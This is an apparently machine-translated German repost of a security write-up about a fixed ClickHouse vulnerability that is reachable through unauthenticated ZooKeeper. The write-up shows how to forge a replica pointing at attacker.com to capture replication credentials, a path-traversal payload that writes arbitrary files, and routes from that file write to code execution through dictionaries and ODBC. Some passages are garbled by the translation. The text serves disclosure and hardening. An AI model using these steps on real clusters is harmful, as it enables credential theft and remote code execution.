Warum sollten Tiere im Zoo in Käfigen gehalten werden?

Warum sollten Tiere im Zoo in Käfigen gehalten werden?

In diesem Artikel wird eine sehr charakteristische Schwachstelle im Replikationsprotokoll von ClickHouse behandelt und gezeigt, wie die Angriffsfläche erweitert werden kann.

ClickHouse ist eine Datenbank zum Speichern großer Datenmengen, die meist mehr als eine Replica verwendet. Die Clusterbildung und Replikation in ClickHouse basieren auf Apache ZooKeeper (ZK) und benötigen Schreibrechte.

Die Standardinstallation von ZK erfordert keine Authentifizierung, sodass tausende ZK-Server, die zur Konfiguration von Kafka, Hadoop und ClickHouse verwendet werden, öffentlich zugänglich sind.

Um die Angriffsfläche zu verringern, sollten Sie immer Authentifizierung und Autorisierung beim Einrichten von ZooKeeper konfigurieren.

Es gibt natürlich mehrere Zero-Day-Schwachstellen, die auf Java-Desserialisierung basieren. Stellen Sie sich vor, dass ein Angreifer lesen und in ZooKeeper schreiben kann, das für die Replikation von ClickHouse verwendet wird.

Bei der Einrichtung im Cluster-Modus unterstützt ClickHouse verteilte Abfragen DDL, die über ZK durchgeführt werden – dafür werden Knoten in einer Liste erstellt. /clickhouse/task_queue/ddl.

Wenn Sie beispielsweise einen Knoten erstellen /clickhouse/task_queue/ddl/query-0001 mit folgendem Inhalt:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

Und danach wird die Tabelle test auf den Servern des Clusters host1 und host2 gelöscht. DDL unterstützt ebenfalls die Ausführung von CREATE/ALTER/DROP-Anfragen.

Klingt beängstigend? Aber woher kann der Angreifer die Adressen der Server erhalten?

ClickHouse-Replikation funktioniert auf der Ebene einzelner Tabellen, sodass beim Erstellen einer Tabelle in ZK der Server festgelegt wird, der für den Austausch von Metadaten mit den Replikaten verantwortlich ist. Zum Beispiel beim Ausführen der Anfrage (ZK sollte konfiguriert sein, chXX — der Name der Replik, foobar — der Name der Tabelle):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

Es werden Knoten erstellt: Spalten und metadata.

Inhalt /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Kann man Daten aus diesem Cluster abziehen? Ja, wenn der Replikationsport (TCP/9009) auf dem Server chXX-address nicht durch eine Firewall blockiert ist und keine Authentifizierung für die Replikation eingerichtet ist. Wie kann man die Authentifizierung umgehen?

Der Angreifer kann eine neue Replik in ZK erstellen, indem er einfach den Inhalt von /clickhouse/tables/01-01/foobar/replicas/chXX kopiert und den Wert ändert: host.

Inhalt /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Dann muss man den anderen Replikaten mitteilen, dass auf dem Server des Angreifers ein neuer Datenblock vorhanden ist, den sie abholen müssen — ein Knoten in ZK wird erstellt. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monoton wachsende Zähler, der größer sein muss als der letzte im Ereignisprotokoll):

Formatversion: 4
Erstellungszeit: 2019-07-31 09:37:42
Quellreplica: Angreifer
Block-ID: all_7192349136365807998_13893666115934954449
get
all_0_0_2

wobei Quellreplica — Name der Replica des Angreifers, die im vorherigen Schritt erstellt wurde, Block-ID — Identifikator des Datenblocks, get — Befehl "get block" (und hier sind die Befehle für andere Operationen).

Jede Replica liest dann das neue Ereignis im Protokoll und geht zu dem Server, der dem Angreifer gehört, um den Datenblock zu erhalten (das Replikationsprotokoll ist binär und arbeitet über HTTP). Der Server attacker.com wird die Anfragen erhalten:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

wo XXX die Authentifizierungsdaten für die Replikation sind. In einigen Fällen kann dies ein Konto mit Zugriff auf die Datenbank über das Hauptprotokoll ClickHouse und das HTTP-Protokoll sein. Wie Sie gesehen haben, wird die Angriffsfläche kritisch groß, da ZooKeeper, das für die Replikation verwendet wird, ohne konfigurierte Authentifizierung geblieben ist.

Lassen Sie uns die Funktion zur Datenblockabfrage aus einem Replica betrachten. Sie ist mit dem vollen Vertrauen geschrieben, dass alle Replikate unter korrektem Management stehen und ein Vertrauensverhältnis zwischen ihnen besteht.

Warum sollten Tiere im Zoo in Käfigen gehalten werden?
Replikationsbearbeitungscode

Die Funktion liest die Liste der Dateien, dann deren Namen, Größen und Inhalte, und schreibt sie anschließend ins Dateisystem. Es ist wichtig zu erläutern, wie die Daten im Dateisystem gespeichert werden.

Es gibt mehrere Unterverzeichnisse in /var/lib/clickhouse (Standard-Speicherverzeichnis aus der Konfigurationsdatei):

flags — Verzeichnis zum Schreiben Flags, das bei der Wiederherstellung nach Datenverlust verwendet wird;
tmp — Verzeichnis für temporäre Dateien;
user_files — Dateioperationen in Anfragen sind auf dieses Verzeichnis beschränkt (INTO OUTFILE und andere);
metadata — SQL-Dateien mit Tabellenbeschreibungen;
preprocessed_configs — bearbeitete abgeleitete Konfigurationsdateien aus /etc/clickhouse-server;
data — das Hauptverzeichnis selbst, in diesem Fall wird für jede Datenbank ein separates Unterverzeichnis hier angelegt (zum Beispiel /var/lib/clickhouse/data/default).

Für jede Tabelle wird ein Unterverzeichnis im Datenbankverzeichnis erstellt. Jede Spalte ist eine separate Datei, abhängig von dem Engine-Format. Zum Beispiel werden für die Tabelle foobar, die von einem Angreifer erstellt wurde, folgende Dateien erstellt:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Die Replik erwartet den Empfang von Dateien mit denselben Namen während der Verarbeitung von Datenblöcken und überprüft diese auf keine Weise.

Aufmerksame Leser haben wahrscheinlich schon von der unsicheren Konkatenation von file_name in der Funktion gehört WriteBufferFromFile. Ja, das ermöglicht einem Angreifer, beliebige Inhalte in eine beliebige Datei im Dateisystem mit Benutzerrechten zu schreiben clickhouse. Um dies zu erreichen, muss die vom Angreifer kontrollierte Replik die folgende Antwort auf die Anfrage zurückgeben (zur Einfachheit des Verständnisses wurden Zeilenumbrüche hinzugefügt):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

und nach der Konkatenation ../../../../../../../../../tmp/pwned wird die Datei /tmp/pwned mit dem Inhalt hellofromzookeeper.

Es gibt mehrere Möglichkeiten, die Möglichkeit, Dateien zu schreiben, in eine Remote-Codeausführung (RCE) umzuwandeln.

Externe Wörterbücher in RCE

In älteren Versionen wurde das Verzeichnis mit den ClickHouse-Einstellungen standardmäßig mit Benutzerrechten gespeichert. Die Einstellungsdateien sind XML-Dateien, die der Dienst beim Start liest und dann in clickhouse . Bei Änderungen werden sie erneut gelesen. Bei Zugriff auf /var/lib/clickhouse/preprocessed_configskann der Angreifer sein eigenes /etc/clickhouse-server externes Wörterbuch erstellen. externes Wörterbuch erstellen führen Sie einen ausführbaren Typ aus und führen Sie dann beliebigen Code aus. Aktuelle Versionen von ClickHouse vergeben standardmäßig keine Berechtigungen, aber wenn der Server schrittweise aktualisiert wurde, könnten solche Berechtigungen noch vorhanden sein. Wenn Sie einen ClickHouse-Cluster verwalten, überprüfen Sie die Berechtigungen im Konfigurationsverzeichnis; dieses sollte dem Benutzer gehören. root.

ODBC im RCE

Bei der Installation des Pakets wird ein Benutzer erstellt clickhouse, wobei sein Home-Verzeichnis nicht erstellt wird. /nonexistent. Wenn jedoch externe Wörterbücher verwendet werden oder aus anderen Gründen, erstellen Administratoren ein Verzeichnis /nonexistent und gewähren dem Benutzer clickhouse schreibzugriff darauf (SSZB! Anm. der Übersetzer).

ClickHouse unterstützt ODBC und kann sich mit anderen Datenbanken verbinden. Bei ODBC können Sie den Pfad zur Datenbanktreiberbibliothek (.so) angeben. Ältere Versionen von ClickHouse ermöglichten dies direkt im Abfrage-Handler, aber jetzt gibt es eine strengere Überprüfung des Verbindungsstrings in odbc-bridge, sodass es nun nicht mehr möglich ist, den Treiberpfad aus der Abfrage anzugeben. Aber der Angreifer kann in das Home-Verzeichnis schreiben, indem er die oben beschriebene Verwundbarkeit ausnutzt?

Lassen Sie uns eine Datei erstellen ~/.odbc.ini mit folgendem Inhalt:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

und dann beim Ausführen SELECT * FROM odbc('DSN=lalala', 'test', 'test'); Die Bibliothek wird geladen test.so und RCE erhalten (Danke buglloc für den Hinweis).

Diese und andere Schwachstellen wurden in der Version 19.14.3 von ClickHouse behoben. Schützen Sie Ihre ClickHouse-Instanzen und ZooKeeper!

Quelle: habr.com

Купить надежный хостинг для сайтов с защитой от DDoS, VPS VDS серверы 🔥 Купить надежный хостинг для сайтов с защитой от DDoS, VPS VDS серверы | ProHoster